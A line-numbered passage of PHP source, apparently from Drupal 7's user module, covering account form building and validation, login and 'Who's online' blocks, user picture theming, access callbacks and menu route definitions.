1020 '#markup' => theme('user_picture', array('account' => $account)),
1021 '#weight' => -10,
1022 );
1023 if (!isset($account->content['summary'])) {
1024 $account->content['summary'] = array();
1025 }
1026 $account->content['summary'] += array(
1027 '#type' => 'user_profile_category',
1028 '#attributes' => array('class' => array('user-member')),
1029 '#weight' => 5,
1030 '#title' => t('History'),
1031 );
1032 $account->content['summary']['member_for'] = array(
1033 '#type' => 'user_profile_item',
1034 '#title' => t('Member for'),
1035 '#markup' => format_interval(REQUEST_TIME - $account->created),
1036 );
1037}
1038
1039/**
1040 * Helper function to add default user account fields to user registration and edit form.
1041 *
1042 * @see user_account_form_validate()
1043 * @see user_validate_current_pass()
1044 * @see user_validate_picture()
1045 * @see user_validate_mail()
1046 */
1047function user_account_form(&$form, &$form_state) {
1048 global $user;
1049
1050 $account = $form['#user'];
1051 $register = ($form['#user']->uid > 0 ? FALSE : TRUE);
1052
1053 $admin = user_access('administer users');
1054
1055 $form['#validate'][] = 'user_account_form_validate';
1056
1057 // Account information.
1058 $form['account'] = array(
1059 '#type' => 'container',
1060 '#weight' => -10,
1061 );
1062 // Only show name field on registration form or user can change own username.
1063 $form['account']['name'] = array(
1064 '#type' => 'textfield',
1065 '#title' => t('Username'),
1066 '#maxlength' => USERNAME_MAX_LENGTH,
1067 '#description' => t('Spaces are allowed; punctuation is not allowed except for periods, hyphens, apostrophes, and underscores.'),
1068 '#required' => TRUE,
1069 '#attributes' => array('class' => array('username')),
1070 '#default_value' => (!$register ? $account->name : ''),
1071 '#access' => ($register || ($user->uid == $account->uid && user_access('change own username')) || $admin),
1072 '#weight' => -10,
1073 );
1074
1075 $form['account']['mail'] = array(
1076 '#type' => 'textfield',
1077 '#title' => t('E-mail address'),
1078 '#maxlength' => EMAIL_MAX_LENGTH,
1079 '#description' => t('A valid e-mail address. All e-mails from the system will be sent to this address. The e-mail address is not made public and will only be used if you wish to receive a new password or wish to receive certain news or notifications by e-mail.'),
1080 '#required' => TRUE,
1081 '#default_value' => (!$register ? $account->mail : ''),
1082 );
1083
1084 // Display password field only for existing users or when user is allowed to
1085 // assign a password during registration.
1086 if (!$register) {
1087 $form['account']['pass'] = array(
1088 '#type' => 'password_confirm',
1089 '#size' => 25,
1090 '#description' => t('To change the current user password, enter the new password in both fields.'),
1091 );
1092 // To skip the current password field, the user must have logged in via a
1093 // one-time link and have the token in the URL.
1094 $pass_reset = isset($_SESSION['pass_reset_' . $account->uid]) && isset($_GET['pass-reset-token']) && ($_GET['pass-reset-token'] == $_SESSION['pass_reset_' . $account->uid]);
1095 $protected_values = array();
1096 $current_pass_description = '';
1097 // The user may only change their own password without their current
1098 // password if they logged in via a one-time login link.
1099 if (!$pass_reset) {
1100 $protected_values['mail'] = $form['account']['mail']['#title'];
1101 $protected_values['pass'] = t('Password');
1102 $request_new = l(t('Request new password'), 'user/password', array('attributes' => array('title' => t('Request new password via e-mail.'))));
1103 $current_pass_description = t('Enter your current password to change the %mail or %pass. !request_new.', array('%mail' => $protected_values['mail'], '%pass' => $protected_values['pass'], '!request_new' => $request_new));
1104 }
1105 // The user must enter their current password to change to a new one.
1106 if ($user->uid == $account->uid) {
1107 $form['account']['current_pass_required_values'] = array(
1108 '#type' => 'value',
1109 '#value' => $protected_values,
1110 );
1111 $form['account']['current_pass'] = array(
1112 '#type' => 'password',
1113 '#title' => t('Current password'),
1114 '#size' => 25,
1115 '#access' => !empty($protected_values),
1116 '#description' => $current_pass_description,
1117 '#weight' => -5,
1118 // Do not let web browsers remember this password, since we are trying
1119 // to confirm that the person submitting the form actually knows the
1120 // current one.
1121 '#attributes' => array('autocomplete' => 'off'),
1122 );
1123 $form['#validate'][] = 'user_validate_current_pass';
1124 }
1125 }
1126 elseif (!variable_get('user_email_verification', TRUE) || $admin) {
1127 $form['account']['pass'] = array(
1128 '#type' => 'password_confirm',
1129 '#size' => 25,
1130 '#description' => t('Provide a password for the new account in both fields.'),
1131 '#required' => TRUE,
1132 );
1133 }
1134
1135 if ($admin) {
1136 $status = isset($account->status) ? $account->status : 1;
1137 }
1138 else {
1139 $status = $register ? variable_get('user_register', USER_REGISTER_VISITORS_ADMINISTRATIVE_APPROVAL) == USER_REGISTER_VISITORS : $account->status;
1140 }
1141 $form['account']['status'] = array(
1142 '#type' => 'radios',
1143 '#title' => t('Status'),
1144 '#default_value' => $status,
1145 '#options' => array(t('Blocked'), t('Active')),
1146 '#access' => $admin,
1147 );
1148
1149 $roles = array_map('check_plain', user_roles(TRUE));
1150 // The disabled checkbox subelement for the 'authenticated user' role
1151 // must be generated separately and added to the checkboxes element,
1152 // because of a limitation in Form API not supporting a single disabled
1153 // checkbox within a set of checkboxes.
1154 // @todo This should be solved more elegantly. See issue #119038.
1155 $checkbox_authenticated = array(
1156 '#type' => 'checkbox',
1157 '#title' => $roles[DRUPAL_AUTHENTICATED_RID],
1158 '#default_value' => TRUE,
1159 '#disabled' => TRUE,
1160 );
1161 unset($roles[DRUPAL_AUTHENTICATED_RID]);
1162 $form['account']['roles'] = array(
1163 '#type' => 'checkboxes',
1164 '#title' => t('Roles'),
1165 '#default_value' => (!$register && !empty($account->roles) ? array_keys(array_filter($account->roles)) : array()),
1166 '#options' => $roles,
1167 '#access' => $roles && user_access('administer permissions'),
1168 DRUPAL_AUTHENTICATED_RID => $checkbox_authenticated,
1169 );
1170
1171 $form['account']['notify'] = array(
1172 '#type' => 'checkbox',
1173 '#title' => t('Notify user of new account'),
1174 '#access' => $register && $admin,
1175 );
1176
1177 // Signature.
1178 $form['signature_settings'] = array(
1179 '#type' => 'fieldset',
1180 '#title' => t('Signature settings'),
1181 '#weight' => 1,
1182 '#access' => (!$register && variable_get('user_signatures', 0)),
1183 );
1184
1185 $form['signature_settings']['signature'] = array(
1186 '#type' => 'text_format',
1187 '#title' => t('Signature'),
1188 '#default_value' => isset($account->signature) ? $account->signature : '',
1189 '#description' => t('Your signature will be publicly displayed at the end of your comments.'),
1190 '#format' => isset($account->signature_format) ? $account->signature_format : NULL,
1191 );
1192
1193 // Picture/avatar.
1194 $form['picture'] = array(
1195 '#type' => 'fieldset',
1196 '#title' => t('Picture'),
1197 '#weight' => 1,
1198 '#access' => (!$register && variable_get('user_pictures', 0)),
1199 );
1200 $form['picture']['picture'] = array(
1201 '#type' => 'value',
1202 '#value' => isset($account->picture) ? $account->picture : NULL,
1203 );
1204 $form['picture']['picture_current'] = array(
1205 '#markup' => theme('user_picture', array('account' => $account)),
1206 );
1207 $form['picture']['picture_delete'] = array(
1208 '#type' => 'checkbox',
1209 '#title' => t('Delete picture'),
1210 '#access' => !empty($account->picture->fid),
1211 '#description' => t('Check this box to delete your current picture.'),
1212 );
1213 $form['picture']['picture_upload'] = array(
1214 '#type' => 'file',
1215 '#title' => t('Upload picture'),
1216 '#size' => 48,
1217 '#description' => t('Your virtual face or picture. Pictures larger than @dimensions pixels will be scaled down.', array('@dimensions' => variable_get('user_picture_dimensions', '85x85'))) . ' ' . filter_xss_admin(variable_get('user_picture_guidelines', '')),
1218 );
1219 $form['#validate'][] = 'user_validate_picture';
1220}
1221
1222/**
1223 * Form validation handler for the current password on the user_account_form().
1224 *
1225 * @see user_account_form()
1226 */
1227function user_validate_current_pass(&$form, &$form_state) {
1228 $account = $form['#user'];
1229 foreach ($form_state['values']['current_pass_required_values'] as $key => $name) {
1230 // This validation only works for required textfields (like mail) or
1231 // form values like password_confirm that have their own validation
1232 // that prevent them from being empty if they are changed.
1233 if ((strlen(trim($form_state['values'][$key])) > 0) && ($form_state['values'][$key] != $account->$key)) {
1234 require_once DRUPAL_ROOT . '/' . variable_get('password_inc', 'includes/password.inc');
1235 $current_pass_failed = empty($form_state['values']['current_pass']) || !user_check_password($form_state['values']['current_pass'], $account);
1236 if ($current_pass_failed) {
1237 form_set_error('current_pass', t("Your current password is missing or incorrect; it's required to change the %name.", array('%name' => $name)));
1238 form_set_error($key);
1239 }
1240 // We only need to check the password once.
1241 break;
1242 }
1243 }
1244}
1245
1246/**
1247 * Form validation handler for user_account_form().
1248 *
1249 * @see user_account_form()
1250 */
1251function user_account_form_validate($form, &$form_state) {
1252 if ($form['#user_category'] == 'account' || $form['#user_category'] == 'register') {
1253 $account = $form['#user'];
1254 // Validate new or changing username.
1255 if (isset($form_state['values']['name'])) {
1256 if ($error = user_validate_name($form_state['values']['name'])) {
1257 form_set_error('name', $error);
1258 }
1259 elseif ((bool) db_select('users')->fields('users', array('uid'))->condition('uid', $account->uid, '<>')->condition('name', db_like($form_state['values']['name']), 'LIKE')->range(0, 1)->execute()->fetchField()) {
1260 form_set_error('name', t('The name %name is already taken.', array('%name' => $form_state['values']['name'])));
1261 }
1262 }
1263
1264 // Trim whitespace from mail, to prevent confusing 'e-mail not valid'
1265 // warnings often caused by cutting and pasting.
1266 $mail = trim($form_state['values']['mail']);
1267 form_set_value($form['account']['mail'], $mail, $form_state);
1268
1269 // Validate the e-mail address, and check if it is taken by an existing user.
1270 if ($error = user_validate_mail($form_state['values']['mail'])) {
1271 form_set_error('mail', $error);
1272 }
1273 elseif ((bool) db_select('users')->fields('users', array('uid'))->condition('uid', $account->uid, '<>')->condition('mail', db_like($form_state['values']['mail']), 'LIKE')->range(0, 1)->execute()->fetchField()) {
1274 // Format error message dependent on whether the user is logged in or not.
1275 if ($GLOBALS['user']->uid) {
1276 form_set_error('mail', t('The e-mail address %email is already taken.', array('%email' => $form_state['values']['mail'])));
1277 }
1278 else {
1279 form_set_error('mail', t('The e-mail address %email is already registered. <a href="@password">Have you forgotten your password?</a>', array('%email' => $form_state['values']['mail'], '@password' => url('user/password'))));
1280 }
1281 }
1282
1283 // Make sure the signature isn't longer than the size of the database field.
1284 // Signatures are disabled by default, so make sure it exists first.
1285 if (isset($form_state['values']['signature'])) {
1286 // Move text format for user signature into 'signature_format'.
1287 $form_state['values']['signature_format'] = $form_state['values']['signature']['format'];
1288 // Move text value for user signature into 'signature'.
1289 $form_state['values']['signature'] = $form_state['values']['signature']['value'];
1290
1291 $user_schema = drupal_get_schema('users');
1292 if (drupal_strlen($form_state['values']['signature']) > $user_schema['fields']['signature']['length']) {
1293 form_set_error('signature', t('The signature is too long: it must be %max characters or less.', array('%max' => $user_schema['fields']['signature']['length'])));
1294 }
1295 }
1296 }
1297}
1298
1299/**
1300 * Implements hook_user_presave().
1301 */
1302function user_user_presave(&$edit, $account, $category) {
1303 if ($category == 'account' || $category == 'register') {
1304 if (!empty($edit['picture_upload'])) {
1305 $edit['picture'] = $edit['picture_upload'];
1306 }
1307 // Delete picture if requested, and if no replacement picture was given.
1308 elseif (!empty($edit['picture_delete'])) {
1309 $edit['picture'] = NULL;
1310 }
1311 }
1312
1313 // Filter out roles with empty values to avoid granting extra roles when
1314 // processing custom form submissions.
1315 if (isset($edit['roles'])) {
1316 $edit['roles'] = array_filter($edit['roles']);
1317 }
1318
1319 // Move account cancellation information into $user->data.
1320 foreach (array('user_cancel_method', 'user_cancel_notify') as $key) {
1321 if (isset($edit[$key])) {
1322 $edit['data'][$key] = $edit[$key];
1323 }
1324 }
1325}
1326
1327/**
1328 * Implements hook_user_categories().
1329 */
1330function user_user_categories() {
1331 return array(array(
1332 'name' => 'account',
1333 'title' => t('Account settings'),
1334 'weight' => 1,
1335 ));
1336}
1337
1338function user_login_block($form) {
1339 $form['#action'] = url(current_path(), array('query' => drupal_get_destination(), 'external' => FALSE));
1340 $form['#id'] = 'user-login-form';
1341 $form['#validate'] = user_login_default_validators();
1342 $form['#submit'][] = 'user_login_submit';
1343 $form['name'] = array('#type' => 'textfield',
1344 '#title' => t('Username'),
1345 '#maxlength' => USERNAME_MAX_LENGTH,
1346 '#size' => 15,
1347 '#required' => TRUE,
1348 );
1349 $form['pass'] = array('#type' => 'password',
1350 '#title' => t('Password'),
1351 '#size' => 15,
1352 '#required' => TRUE,
1353 );
1354 $form['actions'] = array('#type' => 'actions');
1355 $form['actions']['submit'] = array('#type' => 'submit',
1356 '#value' => t('Log in'),
1357 );
1358 $items = array();
1359 if (variable_get('user_register', USER_REGISTER_VISITORS_ADMINISTRATIVE_APPROVAL)) {
1360 $items[] = l(t('Create new account'), 'user/register', array('attributes' => array('title' => t('Create a new user account.'))));
1361 }
1362 $items[] = l(t('Request new password'), 'user/password', array('attributes' => array('title' => t('Request new password via e-mail.'))));
1363 $form['links'] = array('#markup' => theme('item_list', array('items' => $items)));
1364 return $form;
1365}
1366
1367/**
1368 * Implements hook_block_info().
1369 */
1370function user_block_info() {
1371 global $user;
1372
1373 $blocks['login']['info'] = t('User login');
1374 // Not worth caching.
1375 $blocks['login']['cache'] = DRUPAL_NO_CACHE;
1376
1377 $blocks['new']['info'] = t('Who\'s new');
1378 $blocks['new']['properties']['administrative'] = TRUE;
1379
1380 // Too dynamic to cache.
1381 $blocks['online']['info'] = t('Who\'s online');
1382 $blocks['online']['cache'] = DRUPAL_NO_CACHE;
1383 $blocks['online']['properties']['administrative'] = TRUE;
1384
1385 return $blocks;
1386}
1387
1388/**
1389 * Implements hook_block_configure().
1390 */
1391function user_block_configure($delta = '') {
1392 global $user;
1393
1394 switch ($delta) {
1395 case 'new':
1396 $form['user_block_whois_new_count'] = array(
1397 '#type' => 'select',
1398 '#title' => t('Number of users to display'),
1399 '#default_value' => variable_get('user_block_whois_new_count', 5),
1400 '#options' => drupal_map_assoc(array(1, 2, 3, 4, 5, 6, 7, 8, 9, 10)),
1401 );
1402 return $form;
1403
1404 case 'online':
1405 $period = drupal_map_assoc(array(30, 60, 120, 180, 300, 600, 900, 1800, 2700, 3600, 5400, 7200, 10800, 21600, 43200, 86400), 'format_interval');
1406 $form['user_block_seconds_online'] = array('#type' => 'select', '#title' => t('User activity'), '#default_value' => variable_get('user_block_seconds_online', 900), '#options' => $period, '#description' => t('A user is considered online for this long after they have last viewed a page.'));
1407 $form['user_block_max_list_count'] = array('#type' => 'select', '#title' => t('User list length'), '#default_value' => variable_get('user_block_max_list_count', 10), '#options' => drupal_map_assoc(array(0, 5, 10, 15, 20, 25, 30, 40, 50, 75, 100)), '#description' => t('Maximum number of currently online users to display.'));
1408 return $form;
1409 }
1410}
1411
1412/**
1413 * Implements hook_block_save().
1414 */
1415function user_block_save($delta = '', $edit = array()) {
1416 global $user;
1417
1418 switch ($delta) {
1419 case 'new':
1420 variable_set('user_block_whois_new_count', $edit['user_block_whois_new_count']);
1421 break;
1422
1423 case 'online':
1424 variable_set('user_block_seconds_online', $edit['user_block_seconds_online']);
1425 variable_set('user_block_max_list_count', $edit['user_block_max_list_count']);
1426 break;
1427 }
1428}
1429
1430/**
1431 * Implements hook_block_view().
1432 */
1433function user_block_view($delta = '') {
1434 global $user;
1435
1436 $block = array();
1437
1438 switch ($delta) {
1439 case 'login':
1440 // For usability's sake, avoid showing two login forms on one page.
1441 if (!$user->uid && !(arg(0) == 'user' && !is_numeric(arg(1)))) {
1442
1443 $block['subject'] = t('User login');
1444 $block['content'] = drupal_get_form('user_login_block');
1445 }
1446 return $block;
1447
1448 case 'new':
1449 if (user_access('access content')) {
1450 // Retrieve a list of new users who have subsequently accessed the site successfully.
1451 $items = db_query_range('SELECT uid, name FROM {users} WHERE status <> 0 AND access <> 0 ORDER BY created DESC', 0, variable_get('user_block_whois_new_count', 5))->fetchAll();
1452 $output = theme('user_list', array('users' => $items));
1453
1454 $block['subject'] = t('Who\'s new');
1455 $block['content'] = $output;
1456 }
1457 return $block;
1458
1459 case 'online':
1460 if (user_access('access content')) {
1461 // Count users active within the defined period.
1462 $interval = REQUEST_TIME - variable_get('user_block_seconds_online', 900);
1463
1464 // Perform database queries to gather online user lists. We use s.timestamp
1465 // rather than u.access because it is much faster.
1466 $authenticated_count = db_query("SELECT COUNT(DISTINCT s.uid) FROM {sessions} s WHERE s.timestamp >= :timestamp AND s.uid > 0", array(':timestamp' => $interval))->fetchField();
1467
1468 $output = '<p>' . format_plural($authenticated_count, 'There is currently 1 user online.', 'There are currently @count users online.') . '</p>';
1469
1470 // Display a list of currently online users.
1471 $max_users = variable_get('user_block_max_list_count', 10);
1472 if ($authenticated_count && $max_users) {
1473 $items = db_query_range('SELECT u.uid, u.name, MAX(s.timestamp) AS max_timestamp FROM {users} u INNER JOIN {sessions} s ON u.uid = s.uid WHERE s.timestamp >= :interval AND s.uid > 0 GROUP BY u.uid, u.name ORDER BY max_timestamp DESC', 0, $max_users, array(':interval' => $interval))->fetchAll();
1474 $output .= theme('user_list', array('users' => $items));
1475 }
1476
1477 $block['subject'] = t('Who\'s online');
1478 $block['content'] = $output;
1479 }
1480 return $block;
1481 }
1482}
1483
1484/**
1485 * Process variables for user-picture.tpl.php.
1486 *
1487 * The $variables array contains the following arguments:
1488 * - $account: A user, node or comment object with 'name', 'uid' and 'picture'
1489 * fields.
1490 *
1491 * @see user-picture.tpl.php
1492 */
1493function template_preprocess_user_picture(&$variables) {
1494 $variables['user_picture'] = '';
1495 if (variable_get('user_pictures', 0)) {
1496 $account = $variables['account'];
1497 if (!empty($account->picture)) {
1498 // @TODO: Ideally this function would only be passed file objects, but
1499 // since there's a lot of legacy code that JOINs the {users} table to
1500 // {node} or {comments} and passes the results into this function if we
1501 // a numeric value in the picture field we'll assume it's a file id
1502 // and load it for them. Once we've got user_load_multiple() and
1503 // comment_load_multiple() functions the user module will be able to load
1504 // the picture files in mass during the object's load process.
1505 if (is_numeric($account->picture)) {
1506 $account->picture = file_load($account->picture);
1507 }
1508 if (!empty($account->picture->uri)) {
1509 $filepath = $account->picture->uri;
1510 }
1511 }
1512 elseif (variable_get('user_picture_default', '')) {
1513 $filepath = variable_get('user_picture_default', '');
1514 }
1515 if (isset($filepath)) {
1516 $alt = t("@user's picture", array('@user' => format_username($account)));
1517 // If the image does not have a valid Drupal scheme (for eg. HTTP),
1518 // don't load image styles.
1519 if (module_exists('image') && file_valid_uri($filepath) && $style = variable_get('user_picture_style', '')) {
1520 $variables['user_picture'] = theme('image_style', array('style_name' => $style, 'path' => $filepath, 'alt' => $alt, 'title' => $alt));
1521 }
1522 else {
1523 $variables['user_picture'] = theme('image', array('path' => $filepath, 'alt' => $alt, 'title' => $alt));
1524 }
1525 if (!empty($account->uid) && user_access('access user profiles')) {
1526 $attributes = array('attributes' => array('title' => t('View user profile.')), 'html' => TRUE);
1527 $variables['user_picture'] = l($variables['user_picture'], "user/$account->uid", $attributes);
1528 }
1529 }
1530 }
1531}
1532
1533/**
1534 * Returns HTML for a list of users.
1535 *
1536 * @param $variables
1537 * An associative array containing:
1538 * - users: An array with user objects. Should contain at least the name and
1539 * uid.
1540 * - title: (optional) Title to pass on to theme_item_list().
1541 *
1542 * @ingroup themeable
1543 */
1544function theme_user_list($variables) {
1545 $users = $variables['users'];
1546 $title = $variables['title'];
1547 $items = array();
1548
1549 if (!empty($users)) {
1550 foreach ($users as $user) {
1551 $items[] = theme('username', array('account' => $user));
1552 }
1553 }
1554 return theme('item_list', array('items' => $items, 'title' => $title));
1555}
1556
1557/**
1558 * Determines if the current user is anonymous.
1559 *
1560 * @return bool
1561 * TRUE if the user is anonymous, FALSE if the user is authenticated.
1562 */
1563function user_is_anonymous() {
1564 // Menu administrators can see items for anonymous when administering.
1565 return !$GLOBALS['user']->uid || !empty($GLOBALS['menu_admin']);
1566}
1567
1568/**
1569 * Determines if the current user is logged in.
1570 *
1571 * @return bool
1572 * TRUE if the user is logged in, FALSE if the user is anonymous.
1573 */
1574function user_is_logged_in() {
1575 return (bool) $GLOBALS['user']->uid;
1576}
1577
1578/**
1579 * Determines if the current user has access to the user registration page.
1580 *
1581 * @return bool
1582 * TRUE if the user is not already logged in and can register for an account.
1583 */
1584function user_register_access() {
1585 return user_is_anonymous() && variable_get('user_register', USER_REGISTER_VISITORS_ADMINISTRATIVE_APPROVAL);
1586}
1587
1588/**
1589 * User view access callback.
1590 *
1591 * @param $account
1592 * Can either be a full user object or a $uid.
1593 */
1594function user_view_access($account) {
1595 $uid = is_object($account) ? $account->uid : (int) $account;
1596
1597 // Never allow access to view the anonymous user account.
1598 if ($uid) {
1599 // Admins can view all, users can view own profiles at all times.
1600 if ($GLOBALS['user']->uid == $uid || user_access('administer users')) {
1601 return TRUE;
1602 }
1603 elseif (user_access('access user profiles')) {
1604 // At this point, load the complete account object.
1605 if (!is_object($account)) {
1606 $account = user_load($uid);
1607 }
1608 return (is_object($account) && $account->status);
1609 }
1610 }
1611 return FALSE;
1612}
1613
1614/**
1615 * Access callback for user account editing.
1616 */
1617function user_edit_access($account) {
1618 return (($GLOBALS['user']->uid == $account->uid) || user_access('administer users')) && $account->uid > 0;
1619}
1620
1621/**
1622 * Menu access callback; limit access to account cancellation pages.
1623 *
1624 * Limit access to users with the 'cancel account' permission or administrative
1625 * users, and prevent the anonymous user from cancelling the account.
1626 */
1627function user_cancel_access($account) {
1628 return ((($GLOBALS['user']->uid == $account->uid) && user_access('cancel account')) || user_access('administer users')) && $account->uid > 0;
1629}
1630
1631/**
1632 * Implements hook_menu().
1633 */
1634function user_menu() {
1635 $items['user/autocomplete'] = array(
1636 'title' => 'User autocomplete',
1637 'page callback' => 'user_autocomplete',
1638 'access callback' => 'user_access',
1639 'access arguments' => array('access user profiles'),
1640 'type' => MENU_CALLBACK,
1641 'file' => 'user.pages.inc',
1642 );
1643
1644 // Registration and login pages.
1645 $items['user'] = array(
1646 'title' => 'User account',
1647 'title callback' => 'user_menu_title',
1648 'page callback' => 'user_page',
1649 'access callback' => TRUE,
1650 'file' => 'user.pages.inc',
1651 'weight' => -10,
1652 'menu_name' => 'user-menu',
1653 );
1654
1655 $items['user/login'] = array(
1656 'title' => 'Log in',
1657 'access callback' => 'user_is_anonymous',
1658 'type' => MENU_DEFAULT_LOCAL_TASK,
1659 );
1660
1661 $items['user/register'] = array(
1662 'title' => 'Create new account',
1663 'page callback' => 'drupal_get_form',
1664 'page arguments' => array('user_register_form'),
1665 'access callback' => 'user_register_access',
1666 'type' => MENU_LOCAL_TASK,
1667 );
1668
1669 $items['user/password'] = array(
1670 'title' => 'Request new password',
1671 'page callback' => 'drupal_get_form',
1672 'page arguments' => array('user_pass'),
1673 'access callback' => TRUE,
1674 'type' => MENU_LOCAL_TASK,
1675 'file' => 'user.pages.inc',
1676 );
1677 $items['user/reset/%/%/%'] = array(
1678 'title' => 'Reset password',
1679 'page callback' => 'drupal_get_form',
1680 'page arguments' => array('user_pass_reset', 2, 3, 4),
1681 'access callback' => TRUE,
1682 'type' => MENU_CALLBACK,
1683 'file' => 'user.pages.inc',
1684 );
1685
1686 $items['user/logout'] = array(
1687 'title' => 'Log out',
1688 'access callback' => 'user_is_logged_in',
1689 'page callback' => 'user_logout',
1690 'weight' => 10,
1691 'menu_name' => 'user-menu',
1692 'file' => 'user.pages.inc',
1693 );
1694
1695 // User listing pages.
1696 $items['admin/people'] = array(
1697 'title' => 'People',
1698 'description' => 'Manage user accounts, roles, and permissions.',
1699 'page callback' => 'user_admin',
1700 'page arguments' => array('list'),
1701 'access arguments' => array('administer users'),
1702 'position' => 'left',
1703 'weight' => -4,
1704 'file' => 'user.admin.inc',
1705 );
1706 $items['admin/people/people'] = array(
1707 'title' => 'List',
1708 'description' => 'Find and manage people interacting with your site.',
1709 'access arguments' => array('administer users'),
1710 'type' => MENU_DEFAULT_LOCAL_TASK,
1711 'weight' => -10,
1712 'file' => 'user.admin.inc',
1713 );
1714
1715 // Permissions and role forms.
1716 $items['admin/people/permissions'] = array(
1717 'title' => 'Permissions',
1718 'description' => 'Determine access to features by selecting permissions for roles.',
1719 'page callback' => 'drupal_get_form',
1720 'page arguments' => array('user_admin_permissions'),
1721 'access arguments' => array('administer permissions'),
1722 'file' => 'user.admin.inc',
1723 'type' => MENU_LOCAL_TASK,
1724 );
1725 $items['admin/people/permissions/list'] = array(
1726 'title' => 'Permissions',
1727 'description' => 'Determine access to features by selecting permissions for roles.',
1728 'type' => MENU_DEFAULT_LOCAL_TASK,
1729 'weight' => -8,
1730 );
1731 $items['admin/people/permissions/roles'] = array(
1732 'title' => 'Roles',
1733 'description' => 'List, edit, or add user roles.',
1734 'page callback' => 'drupal_get_form',
1735 'page arguments' => array('user_admin_roles'),
1736 'access arguments' => array('administer permissions'),
1737 'file' => 'user.admin.inc',
1738 'type' => MENU_LOCAL_TASK,
1739 'weight' => -5,
1740 );
1741 $items['admin/people/permissions/roles/edit/%user_role'] = array(
1742 'title' => 'Edit role',
1743 'page arguments' => array('user_admin_role', 5),
1744 'access callback' => 'user_role_edit_access',
1745 'access arguments' => array(5),
1746 );
1747 $items['admin/people/permissions/roles/delete/%user_role'] = array(
1748 'title' => 'Delete role',
1749 'page callback' => 'drupal_get_form',
1750 'page arguments' => array('user_admin_role_delete_confirm', 5),
1751 'access callback' => 'user_role_edit_access',
1752 'access arguments' => array(5),
1753 'file' => 'user.admin.inc',
1754 );
1755
1756 $items['admin/people/create'] = array(
1757 'title' => 'Add user',
1758 'page arguments' => array('create'),
1759 'access arguments' => array('administer users'),
1760 'type' => MENU_LOCAL_ACTION,
1761 );
1762
1763 // Administration pages.
1764 $items['admin/config/people'] = array(
1765 'title' => 'People',
1766 'description' => 'Configure user accounts.',
1767 'position' => 'left',
1768 'weight' => -20,
1769 'page callback' => 'system_admin_menu_block_page',
1770 'access arguments' => array('access administration pages'),
1771 'file' => 'system.admin.inc',
1772 'file path' => drupal_get_path('module', 'system'),
1773 );
1774 $items['admin/config/people/accounts'] = array(
1775 'title' => 'Account settings',
1776 'description' => 'Configure default behavior of users, including registration requirements, e-mails, fields, and user pictures.',
1777 'page callback' => 'drupal_get_form',
1778 'page arguments' => array('user_admin_settings'),
1779 'access arguments' => array('administer users'),
1780 'file' => 'user.admin.inc',
1781 'weight' => -10,
1782 );
1783 $items['admin/config/people/accounts/settings'] = array(
1784 'title' => 'Settings',
1785 'type' => MENU_DEFAULT_LOCAL_TASK,
1786 'weight' => -10,
1787 );
1788
1789 $items['user/%user'] = array(
1790 'title' => 'My account',
1791 'title callback' => 'user_page_title',
1792 'title arguments' => array(1),
1793 'page callback' => 'user_view_page',
1794 'page arguments' => array(1),
1795 'access callback' => 'user_view_access',
1796 'access arguments' => array(1),
1797 // By assigning a different menu name, this item (and all registered child
1798 // paths) are no longer considered as children of 'user'. When accessing the
1799 // user account pages, the preferred menu link that is used to build the
1800 // active trail (breadcrumb) will be found in this menu (unless there is
1801 // more specific link), so the link to 'user' will not be in the breadcrumb.
1802 'menu_name' => 'navigation',
1803 );
1804
1805 $items['user/%user/view'] = array(
1806 'title' => 'View',
1807 'type' => MENU_DEFAULT_LOCAL_TASK,
1808 'weight' => -10,
1809 );
1810
1811 $items['user/%user/cancel'] = array(
1812 'title' => 'Cancel account',
1813 'page callback' => 'drupal_get_form',
1814 'page arguments' => array('user_cancel_confirm_form', 1),
1815 'access callback' => 'user_cancel_access',
1816 'access arguments' => array(1),
1817 'file' => 'user.pages.inc',
1818 );
1819
1820 $items['user/%user/cancel/confirm/%/%'] = array(
1821 'title' => 'Confirm account cancellation',
1822 'page callback' => 'user_cancel_confirm',
1823 'page arguments' => array(1, 4, 5),
1824 'access callback' => 'user_cancel_access',
1825 'access arguments' => array(1),
1826 'file' => 'user.pages.inc',
1827 );
1828
1829 $items['user/%user/edit'] = array(
1830 'title' => 'Edit',
1831 'page callback' => 'drupal_get_form',
1832 'page arguments' => array('user_profile_form', 1),
1833 'access callback' => 'user_edit_access',
1834 'access arguments' => array(1),
1835 'type' => MENU_LOCAL_TASK,
1836 'file' => 'user.pages.inc',
1837 );
1838
1839 $items['user/%user_category/edit/account'] = array(
1840 'title' => 'Account',
1841 'type' => MENU_DEFAULT_LOCAL_TASK,
1842 'load arguments' => array('%map', '%index'),
1843 );
1844
1845 if (($categories = _user_categories()) && (count($categories) > 1)) {
1846 foreach ($categories as $key => $category) {
1847 // 'account' is already handled by the MENU_DEFAULT_LOCAL_TASK.
1848 if ($category['name'] != 'account') {
1849 $items['user/%user_category/edit/' . $category['name']] = array(
1850 'title callback' => 'check_plain',
1851 'title arguments' => array($category['title']),
1852 'page callback' => 'drupal_get_form',
1853 'page arguments' => array('user_profile_form', 1, 3),
1854 'access callback' => isset($category['access callback']) ? $category['access callback'] : 'user_edit_access',
1855 'access arguments' => isset($category['access arguments']) ? $category['access arguments'] : array(1),
1856 'type' => MENU_LOCAL_TASK,
1857 'weight' => $category['weight'],
1858 'load arguments' => array('%map', '%index'),
1859 'tab_parent' => 'user/%/edit',
1860 'file' => 'user.pages.inc',
1861 );
1862 }
1863 }
1864 }
1865 return $items;
1866}
1867
1868/**
1869 * Implements hook_menu_site_status_alter().
1870 */
1871function user_menu_site_status_alter(&$menu_site_status, $path) {
1872 if ($menu_site_status == MENU_SITE_OFFLINE) {
1873 // If the site is offline, log out unprivileged users.
1874 if (user_is_logged_in() && !user_access('access site in maintenance mode')) {
1875 module_load_include('pages.inc', 'user', 'user');
1876 user_logout();
1877 }
1878
1879 if (user_is_anonymous()) {
1880 switch ($path) {
1881 case 'user':
1882 // Forward anonymous user to login page.
1883 drupal_goto('user/login');
1884 case 'user/login':
1885 case 'user/password':
1886 // Disable offline mode.
1887 $menu_site_status = MENU_SITE_ONLINE;
1888 break;
1889 default:
1890 if (strpos($path, 'user/reset/') === 0) {
1891 // Disable offline mode.
1892 $menu_site_status = MENU_SITE_ONLINE;
1893 }
1894 break;
1895 }
1896 }
1897 }
1898 if (user_is_logged_in()) {
1899 if ($path == 'user/login') {
1900 // If user is logged in, redirect to 'user' instead of giving 403.
1901 drupal_goto('user');
1902 }
1903 if ($path == 'user/register') {
1904 // Authenticated user should be redirected to user edit page.
1905 drupal_goto('user/' . $GLOBALS['user']->uid . '/edit');
1906 }
1907 }
1908}
1909
1910/**
1911 * Implements hook_menu_link_alter().
1912 */
